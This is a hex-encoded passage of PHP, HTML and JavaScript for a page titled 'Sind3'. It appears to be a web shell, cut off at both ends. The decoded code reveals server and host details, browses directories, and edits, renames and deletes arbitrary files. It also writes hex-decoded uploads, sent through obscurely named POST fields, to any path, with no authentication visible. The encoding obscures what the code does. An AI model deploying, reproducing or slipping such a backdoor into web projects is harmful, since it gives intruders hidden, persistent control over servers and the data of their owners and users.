63686172732824656E74727929202E20273C2F613E3C2F74643E273B0A2020202020202020202020206563686F20273C74643E2D3C2F74643E273B0A2020202020202020202020206563686F20273C74643E3C2F74643E273B0A2020202020202020202020206563686F20273C2F74723E273B0A20202020202020207D0A2020202020202020666F726561636820282466696C654C6973742061732024656E74727929207B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206563686F20273C74723E273B0A2020202020202020202020206563686F20273C74643E27202E2068746D6C7370656369616C63686172732824656E74727929202E20273C2F74643E273B0A2020202020202020202020206563686F20273C74643E27202E202869735F66696C6528247061746829203F2066696C6573697A6528247061746829202E202720627974657327203A20272D2729202E20273C2F74643E273B0A2020202020202020202020206563686F20273C74643E273B0A2020202020202020202020206563686F20273C6120636C6173733D22616A6178456469742220687265663D223F616374696F6E3D6564697426643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E456469743C2F613E207C20273B0A2020202020202020202020206563686F20273C6120636C6173733D22616A617852656E616D652220687265663D223F616374696F6E3D72656E616D6526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E52656E616D653C2F613E207C20273B0A2020202020202020202020206563686F20273C6120636C6173733D22616A617844656C6574652220687265663D223F616374696F6E3D64656C65746526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E44656C6574653C2F613E273B0A2020202020202020202020206563686F20273C2F74643E273B0A2020202020202020202020206563686F20273C2F74723E273B0A20202020202020207D0A20202020202020203F3E0A20202020202020203C2F74626F64793E0A202020203C2F7461626C653E0A202020203C3F7068700A20202020657869743B0A7D0A0A69662028697373657428245F4745545B27616A6178275D2920262620245F4745545B27616A6178275D203D3D3D202762726561646372756D622729207B0A20202020246B203D20707265675F73706C697428222F285C5C5C5C7C5C2F292F222C202464293B0A202020202462726561646372756D6248746D6C203D2027273B0A20202020666F72656163682028246B20617320246D203D3E20246C29207B0A202020202020202069662028246C203D3D20272720262620246D203D3D203029207B0A2020202020202020202020202462726561646372756D6248746D6C202E3D20273C6120636C6173733D22616A782220687265663D223F643D3266223E2F3C2F613E273B0A20202020202020207D0A202020202020202069662028246C203D3D2027272920636F6E74696E75653B0A20202020202020202462726561646372756D6248746D6C202E3D20273C6120636C6173733D22616A782220687265663D223F643D273B0A2020202020202020666F7220282469203D20303B202469203C3D20246D3B2024692B2B29207B0A2020202020202020202020202462726561646372756D6248746D6C202E3D2068657828246B5B24695D293B0A20202020202020202020202069662028246920213D20246D29202462726561646372756D6248746D6C202E3D20273266273B0A20202020202020207D0A20202020202020202462726561646372756D6248746D6C202E3D2027223E272E246C2E273C2F613E2F273B0A202020207D0A202020206563686F202462726561646372756D6248746D6C3B0A20202020657869743B0A7D0A0A66756E6374696F6E20736166655F73747265616D5F636F70792824696E2C20246F7574293A20626F6F6C207B0A20202020696620285048505F56455253494F4E5F4944203C20383030303929207B0A2020202020202020646F207B0A202020202020202020202020666F7220283B3B29207B0A202020202020202020202020202020202462756666203D2066726561642824696E2C2034303936293B0A20202020202020202020202020202020696620282462756666203D3D3D2066616C7365207C7C202462756666203D3D3D20272729207B0A2020202020202020202020202020202020202020627265616B3B0A202020202020202020202020202020207D0A202020202020202020202020202020206966202866777269746528246F75742C20246275666629203D3D3D2066616C736529207B0A202020202020202020202020202020202020202072657475726E2066616C73653B0A202020202020202020202020202020207D0A2020202020202020202020207D0A20202020202020207D207768696C6520282166656F662824696E29293B0A202020202020202072657475726E20747275653B0A202020207D20656C7365207B0A202020202020202072657475726E2073747265616D5F636F70795F746F5F73747265616D2824696E2C20246F75742920213D3D2066616C73653B0A202020207D0A7D0A0A69662028697373657428245F504F53545B2762656E6B796F275D2920262620697373657428245F504F53545B2764616B656A61275D2929207B0A202020202466696C654E616D65203D20245F504F53545B2762656E6B796F275D3B0A2020202024656E636F646564436F6E74656E74203D20245F504F53545B2764616B656A61275D3B0A20202020246465636F646564436F6E74656E74203D206865783262696E2824656E636F646564436F6E74656E74293B0A0A2020202069662028246465636F646564436F6E74656E74203D3D3D2066616C736529207B0A202020202020202069662028246973416A617829207B0A2020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A2020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E20276661696C6564272C20276D736727203D3E2027496E76616C69642042617365363420656E636F64696E67275D293B0A20202020202020207D20656C7365207B0A202020202020202020202020736574466C61736828276661696C6564272C2027496E76616C69642042617365363420656E636F64696E6727293B0A20202020202020202020202068656164657228224C6F636174696F6E3A203F643D22202E2068657828246429293B0A20202020202020207D0A2020202020202020657869743B0A202020207D0A0A202020202474656D7053747265616D203D20666F70656E28277068703A2F2F74656D70272C2027722B27293B0A20202020667772697465282474656D7053747265616D2C20246465636F646564436F6E74656E74293B0A20202020726577696E64282474656D7053747265616D293B0A0A202020202474617267657450617468203D202464202E204449524543544F52595F534550415241544F52202E20626173656E616D65282466696C654E616D65293B0A20202020246F757453747265616D203D20666F70656E2824746172676574506174682C2027776227293B0A0A202020202473756363657373203D202474656D7053747265616D20262620246F757453747265616D20262620736166655F73747265616D5F636F7079282474656D7053747265616D2C20246F757453747265616D293B0A0A2020202069662028246F757453747265616D292066636C6F736528246F757453747265616D293B0A20202020696620282474656D7053747265616D292066636C6F7365282474656D7053747265616D293B0A0A2020202069662028247375636365737329207B0A202020202020202069662028246973416A617829207B0A2020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A2020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E202773756363657373272C20276D736727203D3E202746696C652075706C6F61646564207375636365737366756C6C79275D293B0A20202020202020207D20656C7365207B0A202020202020202020202020736574466C617368282773756363657373272C202746696C652075706C6F61646564207375636365737366756C6C7927293B0A20202020202020202020202068656164657228224C6F636174696F6E3A203F643D22202E2068657828246429293B0A20202020202020207D0A202020207D20656C7365207B0A202020202020202069662028246973416A617829207B0A2020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A2020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C652075706C6F6164206661696C6564275D293B0A20202020202020207D20656C7365207B0A202020202020202020202020736574466C61736828276661696C6564272C202746696C652075706C6F6164206661696C656427293B0A20202020202020202020202068656164657228224C6F636174696F6E3A203F643D22202E2068657828246429293B0A202020202020202020202020657869743B0A20202020202020207D0A202020207D0A20202020657869743B0A7D0A69662028697373657428245F4745545B27616374696F6E275D2920262620696E5F617272617928245F4745545B27616374696F6E275D2C205B2764656C657465272C202772656E616D65272C202765646974275D2920262620697373657428245F4745545B2766696C65275D2929207B0A2020202069662028245F4745545B27616374696F6E275D203D3D3D202764656C6574652729207B0A20202020202020202466696C654E616D65203D20245F4745545B2766696C65275D3B0A20202020202020202466696C6550617468203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E202466696C654E616D65293B0A202020202020202069662028212466696C6550617468207C7C202169735F66696C65282466696C65506174682929207B0A20202020202020202020202024726573706F6E7365203D205B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C65206E6F7420666F756E64206F72206163636573732064656E696564275D3B0A20202020202020207D20656C7365207B0A20202020202020202020202024726573756C74203D20756E6C696E6B282466696C6550617468293B0A20202020202020202020202024726573706F6E7365203D2024726573756C74200A202020202020202020202020202020203F205B27737461747573273D3E2773756363657373272C276D7367273D3E2746696C652064656C65746564207375636365737366756C6C79275D200A202020202020202020202020202020203A205B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C652064656C6574696F6E206661696C6564275D3B0A20202020202020207D0A20202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A20202020202020206563686F206A736F6E5F656E636F64652824726573706F6E7365293B0A2020202020202020657869743B200A202020207D20656C736569662028245F4745545B27616374696F6E275D203D3D3D202772656E616D652729207B0A202020202020202069662028245F5345525645525B27524551554553545F4D4554484F44275D203D3D3D2027504F53542720262620697373657428245F504F53545B276E65775F6E616D65275D2929207B0A202020202020202020202020246F6C6446696C65203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E20245F4745545B2766696C65275D293B0A202020202020202020202020246E657746696C65203D202464202E204449524543544F52595F534550415241544F52202E20245F504F53545B276E65775F6E616D65275D3B0A20202020202020202020202069662028246F6C6446696C652026262069735F66696C6528246F6C6446696C652929207B0A2020202020202020202020202020202024726573756C74203D2072656E616D6528246F6C6446696C652C20246E657746696C65293B0A2020202020202020202020202020202024726573706F6E7365203D2024726573756C74200A20202020202020202020202020202020202020203F205B27737461747573273D3E2773756363657373272C276D7367273D3E2746696C652072656E616D6564207375636365737366756C6C79275D200A20202020202020202020202020202020202020203A205B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C652072656E616D696E67206661696C6564275D3B0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F64652824726573706F6E7365293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F6465285B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C65206E6F7420666F756E64275D293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D0A20202020202020207D20656C736569662028246973416A617829207B0A2020202020202020202020206563686F20273C68323E52656E616D652046696C653A2027202E2068746D6C7370656369616C636861727328245F4745545B2766696C65275D29202E20273C2F68323E273B0A2020202020202020202020206563686F20273C64697620636C6173733D227465726D696E616C2D626F78223E273B0A2020202020202020202020206563686F20273C666F726D20636C6173733D22616A6178466F726D22206D6574686F643D22504F53542220616374696F6E3D223F616374696F6E3D72656E616D6526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F646528245F4745545B2766696C65275D29202E2027223E273B0A2020202020202020202020206563686F20273C696E70757420747970653D227465787422206E616D653D226E65775F6E616D652220706C616365686F6C6465723D224E65772066696C65206E616D65222072657175697265643E3C62723E273B0A2020202020202020202020206563686F20273C62723E3C696E70757420747970653D227375626D6974222076616C75653D2252656E616D65223E20273B0A2020202020202020202020206563686F20273C627574746F6E20747970653D22627574746F6E222069643D2263616E63656C416374696F6E223E43616E63656C3C2F627574746F6E3E273B0A2020202020202020202020206563686F20273C2F666F726D3E273B0A2020202020202020202020206563686F20273C2F6469763E3C68723E273B0A202020202020202020202020657869743B0A20202020202020207D0A202020207D20656C736569662028245F4745545B27616374696F6E275D203D3D3D2027656469742729207B0A202020202020202069662028245F5345525645525B27524551554553545F4D4554484F44275D203D3D3D2027504F53542720262620697373657428245F504F53545B27636F6E74656E74275D2929207B0A2020202020202020202020202466696C6550617468203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E20245F4745545B2766696C65275D293B0A202020202020202020202020696620282466696C65506174682026262069735F66696C65282466696C65506174682929207B0A20202020202020202020202020202020246670203D20666F70656E282466696C65506174682C20227722293B0A202020202020202020202020202020206966202824667029207B0A20202020202020202020202020202020202020202462797465735772697474656E203D20667772697465282466702C207374726970736C617368657328245F504F53545B27636F6E74656E74275D29293B0A202020202020202020202020202020202020202066636C6F736528246670293B0A202020202020202020202020202020202020202024726573706F6E7365203D20282462797465735772697474656E20213D3D2066616C7365290A2020202020202020202020202020202020202020202020203F205B2773746174757327203D3E202773756363657373272C20276D736727203D3E202746696C6520656469746564207375636365737366756C6C79275D0A2020202020202020202020202020202020202020202020203A205B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C652065646974696E67206661696C6564275D3B0A202020202020202020202020202020207D20656C7365207B0A202020202020202020202020202020202020202024726573706F6E7365203D205B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C65206F70656E696E67206661696C6564275D3B0A202020202020202020202020202020207D0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F64652824726573706F6E7365293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C65206E6F7420666F756E64275D293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D20202020202020200A20202020202020207D20656C736569662028246973416A617829207B0A2020202020202020202020202466696C6550617468203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E20245F4745545B2766696C65275D293B0A202020202020202020202020696620282466696C65506174682026262069735F66696C65282466696C65506174682929207B0A2020202020202020202020202020202024636F6E74656E74203D2066696C655F6765745F636F6E74656E7473282466696C6550617468293B0A202020202020202020202020202020206563686F20273C68323E456469742046696C653A2027202E2068746D6C7370656369616C636861727328245F4745545B2766696C65275D29202E20273C2F68323E273B0A202020202020202020202020202020206563686F20273C64697620636C6173733D227465726D696E616C2D626F78223E273B0A202020202020202020202020202020206563686F20273C666F726D20636C6173733D22616A6178466F726D22206D6574686F643D22504F53542220616374696F6E3D223F616374696F6E3D6564697426643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F646528245F4745545B2766696C65275D29202E2027223E273B0A202020202020202020202020202020206563686F20273C7465787461726561206E616D653D22636F6E74656E742220726F77733D2231302220636F6C733D223530222072657175697265643E27202E2068746D6C7370656369616C63686172732824636F6E74656E7429202E20273C2F74657874617265613E3C62723E273B0A202020202020202020202020202020206563686F20273C62723E3C696E70757420747970653D227375626D6974222076616C75653D2253617665223E20273B0A202020202020202020202020202020206563686F20273C627574746F6E20747970653D22627574746F6E222069643D2263616E63656C416374696F6E223E43616E63656C3C2F627574746F6E3E273B0A202020202020202020202020202020206563686F20273C2F666F726D3E273B0A202020202020202020202020202020206563686F20273C2F6469763E3C68723E273B0A2020202020202020202020207D0A202020202020202020202020657869743B0A20202020202020207D0A202020207D0A7D0A3F3E0A3C21444F43545950452068746D6C3E0A3C68746D6C3E0A3C686561643E0A202020203C6D65746120636861727365743D225554462D38223E0A202020203C7469746C653E53696E64333C2F7469746C653E0A202020203C212D2D204C6F6164205562756E7475204D6F6E6F2066726F6D20476F6F676C6520466F6E7473202D2D3E0A202020203C6C696E6B20687265663D2268747470733A2F2F666F6E74732E676F6F676C65617069732E636F6D2F637373323F66616D696C793D5562756E74752B4D6F6E6F26646973706C61793D73776170222072656C3D227374796C657368656574223E0A202020203C7374796C653E0A20202020202020202A207B20626F782D73697A696E673A20626F726465722D626F783B207D0A2020202020202020626F6479207B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20726762612833372C2033372C2033372C20302E38293B202F2A2047726179207769746820736C69676874207472616E73706172656E6379202A2F0A202020202020202020202020636F6C6F723A20236666663B0A202020202020202020202020666F6E742D66616D696C793A20275562756E7475204D6F6E6F272C206D6F6E6F73706163653B0A2020202020202020202020206D617267696E3A20303B0A20202020202020202020202070616464696E673A20303B0A20202020202020207D0A20202020202020202E636F6E7461696E6572207B0A20202020202020202020202077696474683A203630253B0A2020202020202020202020206D617267696E3A2035307078206175746F3B0A20202020202020202020202070616464696E673A20323070783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020626F726465722D7261646975733A203870783B0A20202020202020207D0A20202020202020202E6675746572207B0A20202020202020202020202077696474683A203630253B0A2020202020202020202020206D617267696E3A2035307078206175746F3B0A20202020202020202020202070616464696E673A20323070783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020626F726465722D7261646975733A203870783B0A20202020202020207D0A20202020202020202E62726561646372756D6273207B206D617267696E2D626F74746F6D3A20313570783B207D0A202020202020202061207B20636F6C6F723A20233066303B20746578742D6465636F726174696F6E3A206E6F6E653B207D0A2020202020202020613A686F766572207B20746578742D6465636F726174696F6E3A20756E6465726C696E653B207D0A20202020202020207461626C65207B2077696474683A20313030253B20626F726465722D636F6C6C617073653A20636F6C6C617073653B206D617267696E2D746F703A20323070783B207D0A202020202020202074682C207464207B20626F726465723A2031707820736F6C696420233535353B2070616464696E673A203870783B20746578742D616C69676E3A206C6566743B207D0A20202020202020207468207B206261636B67726F756E642D636F6C6F723A20233333333B207D0A2020202020202020696E7075745B747970653D2274657874225D2C207465787461726561207B0A20202020202020202020202077696474683A20313030253B0A20202020202020202020202070616464696E673A203870783B0A2020202020202020202020206D617267696E3A20303B0A202020202020202020202020626F726465723A2031707820736F6C696420233333333B0A202020202020202020202020626F726465722D7261646975733A203470783B0A202020202020202020202020666F6E742D66616D696C793A20275562756E7475204D6F6E6F272C206D6F6E6F73706163653B0A20202020202020207D0A2020202020202020696E7075745B747970653D227375626D6974225D2C20627574746F6E207B0A202020202020202020202020626F726465723A2031707820736F6C696420236666663B0A20202020202020202020202070616464696E673A203470783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233333333B0A202020202020202020202020636F6C6F723A20236666663B0A202020202020202020202020637572736F723A20706F696E7465723B0A202020202020202020202020626F726465722D7261646975733A203470783B0A20202020202020207D0A2020202020202020666F726D207B206D617267696E2D626F74746F6D3A20323070783B207D0A20202020202020202E7465726D696E616C2D626F78207B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020636F6C6F723A20233066303B0A20202020202020202020202070616464696E673A20313570783B0A202020202020202020202020626F726465723A2031707820736F6C696420233333333B0A202020202020202020202020626F726465722D7261646975733A203470783B0A2020202020202020202020206D617267696E2D626F74746F6D3A20323070783B0A20202020202020207D0A20202020202020202E7465726D696E616C2D626F7820696E7075745B747970653D2274657874225D2C0A20202020202020202E7465726D696E616C2D626F78207465787461726561207B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020636F6C6F723A20233066303B0A202020202020202020202020626F726465723A2031707820736F6C696420233333333B0A20202020202020207D0A20202020202020202E6E6F74696669636174696F6E207B0A202020202020202020202020706F736974696F6E3A2066697865643B0A202020202020202020202020626F74746F6D3A20323070783B0A2020202020202020202020206C6566743A20323070783B0A20202020202020202020202070616464696E673A203130707820323070783B0A202020202020202020202020626F726465722D7261646975733A203470783B0A202020202020202020202020666F6E742D66616D696C793A20275562756E7475204D6F6E6F272C206D6F6E6F73706163653B0A202020202020202020202020666F6E742D73697A653A20313470783B0A20202020202020207D0A20202020202020202E73756363657373207B206261636B67726F756E642D636F6C6F723A20233061303B20636F6C6F723A20236666663B207D0A20202020202020202E6661696C6564207B206261636B67726F756E642D636F6C6F723A20236130303B20636F6C6F723A20236666663B207D0A20202020202020202F2A20437573746F6D2066696C6520696E70757420627574746F6E207374796C696E67202A2F0A20202020202020202366696C65496E707574207B0A202020202020202020202020646973706C61793A206E6F6E653B0A20202020202020207D0A20202020202020202E637573746F6D2D66696C652D627574746F6E207B0A202020202020202020202020626F726465723A2031707820736F6C696420236666663B0A20202020202020202020202070616464696E673A203470783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233333333B0A202020202020202020202020636F6C6F723A20236666663B0A202020202020202020202020637572736F723A20706F696E7465723B0A202020202020202020202020626F726465722D7261646975733A203470783B0A202020202020202020202020646973706C61793A20696E6C696E652D626C6F636B3B0A20202020202020207D0A202020203C2F7374796C653E0A3C2F686561643E0A3C626F64793E0A3C64697620636C6173733D22636F6E7461696E6572223E0A20202020267468696E73703B267468696E73703B267468696E73703B3C623E5345525620203A3C2F623E203C3F3D20697373657428245F5345525645525B275345525645525F534F465457415245275D29203F207068705F756E616D652829203A202253657276657220696E666F726D6174696F6E206E6F7420617661696C61626C65223B203F3E3C62723E0A20202020267468696E73703B267468696E73703B267468696E73703B3C623E534F465420203A3C2F623E203C3F706870206563686F20245F5345525645525B275345525645525F534F465457415245275D3B3F3E3C62723E0A20202020267468696E73703B267468696E73703B267468696E73703B3C623E49502020266E6273703B266E6273703B3A3C2F623E203C3F3D20676574686F737462796E616D6528245F5345525645525B27485454505F484F5354275D29203F3E3C62723E0A202020203C62723E3C623E2623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231323C2F623E0A202020203C62723E3C62723E3C666F726D2069643D2275706C6F6164466F726D2220636C6173733D22616A6178466F726D22206D6574686F643D22504F5354223E0A20202020202020203C6C6162656C20666F723D2266696C65496E7075742220636C6173733D22637573746F6D2D66696C652D627574746F6E222069643D2266696C654C6162656C223E43686F6F73652046696C653C2F6C6162656C3E0A20202020202020203C696E70757420747970653D2266696C65222069643D2266696C65496E707574222072657175697265643E0A20202020202020203C696E70757420747970653D227375626D6974222076616C75653D2255706C6F6164223E0A202020203C2F666F726D3E0A0A202020203C62723E3C6469762069643D2262726561646372756D62436F6E7461696E6572223E0A202020203C3F7068700A20202020246B203D20707265675F73706C697428222F285C5C5C5C7C5C2F292F222C202464293B0A20202020666F72656163682028246B20617320246D203D3E20246C29207B0A202020202020202069662028246C203D3D20272720262620246D203D3D203029207B0A2020202020202020202020206563686F20273C6120636C6173733D22616A782220687265663D223F643D3266223E2F3C2F613E273B0A20202020202020207D0A202020202020202069662028246C203D3D2027272920636F6E74696E75653B0A20202020202020206563686F20273C6120636C6173733D22616A782220687265663D223F643D273B0A2020202020202020666F7220282469203D20303B202469203C3D20246D3B2024692B2B29207B0A2020202020202020202020206563686F2068657828246B5B24695D293B0A20202020202020202020202069662028246920213D20246D29206563686F20273266273B0A20202020202020207D0A20202020202020206563686F2027223E272E246C2E273C2F613E2F273B0A202020207D0A202020203F3E0A3C2F6469763E3C62723E0A3C6469762069643D22616374696F6E436F6E7461696E6572223E3C2F6469763E3C62723E0A202020203C6469762069643D2266696C654C697374436F6E7461696E6572223E0A20202020202020203C3F7068700A202020202020202024656E7472696573203D207363616E646972282464293B0A2020202020202020246469724C697374203D205B5D3B0A20202020202020202466696C654C697374203D205B5D3B0A2020202020202020666F7265616368202824656E74726965732061732024656E74727929207B0A2020202020202020202020206966202824656E747279203D3D20272E27207C7C2024656E747279203D3D20272E2E272920636F6E74696E75653B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206966202869735F6469722824706174682929207B0A20202020202020202020202020202020246469724C6973745B5D203D2024656E7472793B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020202466696C654C6973745B5D203D2024656E7472793B0A2020202020202020202020207D0A20202020202020207D0A20202020202020203F3E0A20202020202020203C7461626C653E0A2020202020202020202020203C74686561643E0A202020202020202020202020202020203C74723E0A20202020202020202020202020202020202020203C74683E4E616D653C2F74683E0A20202020202020202020202020202020202020203C74683E53697A653C2F74683E0A20202020202020202020202020202020202020203C74683E416374696F6E733C2F74683E0A202020202020202020202020202020203C2F74723E0A2020202020202020202020203C2F74686561643E0A2020202020202020202020203C74626F64793E0A2020202020202020202020203C3F7068700A202020202020202020202020666F72656163682028246469724C6973742061732024656E74727929207B0A202020202020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A202020202020202020202020202020206563686F20273C74723E273B0A202020202020202020202020202020206563686F20273C74643E3C6120636C6173733D22616A61784469722220687265663D223F643D27202E2068657828247061746829202E2027223E27202E2068746D6C7370656369616C63686172732824656E74727929202E20273C2F613E3C2F74643E273B0A202020202020202020202020202020206563686F20273C74643E2D3C2F74643E273B0A202020202020202020202020202020206563686F20273C74643E3C2F74643E273B0A202020202020202020202020202020206563686F20273C2F74723E273B0A2020202020202020202020207D0A202020202020202020202020666F726561636820282466696C654C6973742061732024656E74727929207B0A202020202020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A202020202020202020202020202020206563686F20273C74723E273B0A202020202020202020202020202020206563686F20273C74643E27202E2068746D6C7370656369616C63686172732824656E74727929202E20273C2F74643E273B0A202020202020202020202020202020206563686F20273C74643E27202E202869735F66696C6528247061746829203F2066696C6573697A6528247061746829202E202720627974657327203A20272D2729202E20273C2F74643E273B0A202020202020202020202020202020206563686F20273C74643E273B0A202020202020202020202020202020206563686F20273C6120636C6173733D22616A6178456469742220687265663D223F616374696F6E3D6564697426643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E456469743C2F613E207C20273B0A202020202020202020202020202020206563686F20273C6120636C6173733D22616A617852656E616D652220687265663D223F616374696F6E3D72656E616D6526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E52656E616D653C2F613E207C20273B0A202020202020202020202020202020206563686F20273C6120636C6173733D22616A617844656C6574652220687265663D223F616374696F6E3D64656C65746526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E44656C6574653C2F613E273B0A202020202020202020202020202020206563686F20273C2F74643E273B0A202020202020202020202020202020206563686F20273C2F74723E273B0A2020202020202020202020207D0A2020202020202020202020203F3E0A2020202020202020202020203C2F74626F64793E0A20202020202020203C2F7461626C653E0A202020203C2F6469763E0A3C2F6469763E0A0A3C64697620636C6173733D226E6F74696669636174696F6E222069643D226E6F74696669636174696F6E22207374796C653D22646973706C61793A6E6F6E653B223E3C2F6469763E0A0A3C7363726970743E0A2F2F2053686F77206E6F74696669636174696F6E20696E2074686520626F74746F6D206C65667420636F726E65723B206175746F2D6469736D6973732061667465722032207365636F6E64732E0A66756E6374696F6E2073686F774E6F74696669636174696F6E287374617475732C206D736729207B0A20202020766172206E6F746966203D20646F63756D656E742E676574456C656D656E744279496428276E6F74696669636174696F6E27293B0A202020206E6F7469662E636C6173734E616D65203D20276E6F74696669636174696F6E2027202B207374617475733B0A202020206E6F7469662E696E6E657254657874203D206D73673B0A202020206E6F7469662E7374796C652E646973706C6179203D2027626C6F636B273B0A2020202073657454696D656F75742866756E6374696F6E28297B206E6F7469662E7374796C652E646973706C6179203D20276E6F6E65273B207D2C2032303030293B0A7D0A0A66756E6374696F6E206C6F616442726561646372756D622829207B0A202020207661722064203D206765745175657279506172616D2822642229207C7C20223C3F706870206563686F20686578282464293B203F3E223B0A20202020666574636828273F643D27202B2064202B202726616A61783D62726561646372756D62272C207B20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E746578742829290A202020202E7468656E2868746D6C203D3E207B0A2020202020202020646F63756D656E742E676574456C656D656E7442794964282762726561646372756D62436F6E7461696E657227292E696E6E657248544D4C203D2068746D6C3B0A202020207D293B0A7D0A0A66756E6374696F6E206765745175657279506172616D286E616D6529207B0A20202020636F6E73742075726C506172616D73203D206E65772055524C536561726368506172616D732877696E646F772E6C6F636174696F6E2E736561726368293B0A2020202072657475726E2075726C506172616D732E676574286E616D65293B0A7D0A0A66756E6374696F6E206C6F616446696C654C6973742829207B0A202020207661722064203D206765745175657279506172616D2822642229207C7C20223C3F706870206563686F20686578282464293B203F3E223B0A20202020666574636828273F643D27202B2064202B202726616A61783D31272C207B20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E746578742829290A202020202E7468656E2868746D6C203D3E207B0A2020202020202020646F63756D656E742E676574456C656D656E7442794964282766696C654C697374436F6E7461696E657227292E696E6E657248544D4C203D2068746D6C3B0A2020202020202020617474616368416A61784576656E747328293B202F2F207265617474616368206576656E7473206166746572207570646174650A2020202020202020726573657446696C65496E7075744C6162656C28293B0A202020207D293B0A7D0A0A66756E6374696F6E20726573657446696C65496E7075744C6162656C2829207B0A20202020766172206C6162656C203D20646F63756D656E742E676574456C656D656E7442794964282766696C654C6162656C27293B0A202020206966286C6162656C29207B0A20202020202020206C6162656C2E74657874436F6E74656E74203D202243686F6F73652046696C65223B0A202020207D0A7D0A0A66756E6374696F6E20617474616368416A61784576656E74732829207B0A20202020646F63756D656E742E717565727953656C6563746F72416C6C28272E616A617844656C65746527292E666F72456163682866756E6374696F6E286C696E6B29207B0A20202020202020206C696E6B2E6164644576656E744C697374656E65722827636C69636B272C2066756E6374696F6E286529207B0A202020202020202020202020652E70726576656E7444656661756C7428293B0A2020202020202020202020206665746368286C696E6B2E687265662C207B20686561646572733A207B2027582D5265717565737465642D57697468273A2027584D4C487474705265717565737427207D207D290A2020202020202020202020202E7468656E28726573706F6E7365203D3E20726573706F6E73652E6A736F6E2829290A2020202020202020202020202E7468656E2864617461203D3E207B0A2020202020202020202020202020202073686F774E6F74696669636174696F6E28646174612E7374617475732C20646174612E6D7367293B0A202020202020202020202020202020206C6F616446696C654C69737428293B0A20202020202020202020202020202020726573657446696C65496E70757428293B0A2020202020202020202020207D293B0A20202020202020207D293B0A20